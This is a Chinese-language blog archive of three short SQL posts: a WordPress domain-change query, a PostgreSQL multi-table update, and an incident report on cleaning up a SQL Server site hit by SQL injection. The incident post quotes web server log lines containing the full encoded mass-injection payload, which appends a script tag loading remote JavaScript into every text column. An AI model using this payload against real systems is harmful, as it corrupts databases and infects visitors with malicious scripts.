Tag Archives: sql

wordpress站点更换域名

采用wordpress建站后经常会先使用临时域名,待测试完毕后再更换为正式域名,但在wordpress数据库里对站点域名进行了绑定,因此需要使用数据库进行处理: update wp_options set option_value=replace(option_value,’old_site_url’,’new_site_url’) where option_value like ‘%old_site_url%’;

Posted in Blog | Tagged , , , | Leave a comment

postgresql中从多表中进行update

有时候,需要根据其他表的数据对某表的数据进行更新,这是就可以用到多表更新的功能: update metadata m set source=s.uuid from source s right join datasource d on s.id=d.sourceid where m.uuid=d.uuid

Posted in Program | Tagged , , | Leave a comment

数据中心网站被SQL注入

昨天晚上李老师打电话过来,发现西部数据中心访问有问题。 经仔细检查,发现网站已经被SQL注入了,SQL Server中所有字符串字段都被添加了尾巴,指向了一个病毒网站。 再次检查,发现最近的一次数据库完整备份是在年前了,而此期间又注册了很多新用户,因此只能手工清理了。 这里主要是利用了SQL Server中的replace函数: update table set f1=replace(f1,’xxx’,”) 手工清理了所有表中的相关字段,这是个体力活。在清理过程中还发现了membership表中居然有4个重复用户名,这个错误检查了3-4个小时才发现,晕。 log记录显示了如何注入的: 6985 210.77.68.241 GET /dataservices/fullmetadata.aspx id={616cf641-13dc-4f2a-ae40-6a4d8f42ddc6};dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe=’u’%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec(‘UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=['%2b@c%2b']%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536362537352536332536422537352537352532452537352537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))’)%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;– 80 – 218.246.32.206 Mozilla/4.0 302 0 0 2008-05-27 00:08:02 W3SVC1565836985 210.77.68.241 GET /dataservices/fullmetadata.aspx id={616cf641-13dc-4f2a-ae40-6a4d8f42ddc6}’;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe=’u’%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec(‘UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=['%2b@c%2b']%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536362537352536332536422537352537352532452537352537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))’)%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;– 80 – 218.246.32.206 Mozilla/4.0 302 0 0 2008-05-27 00:08:03 … Continue reading

Posted in tech, westdc | Tagged , , | Leave a comment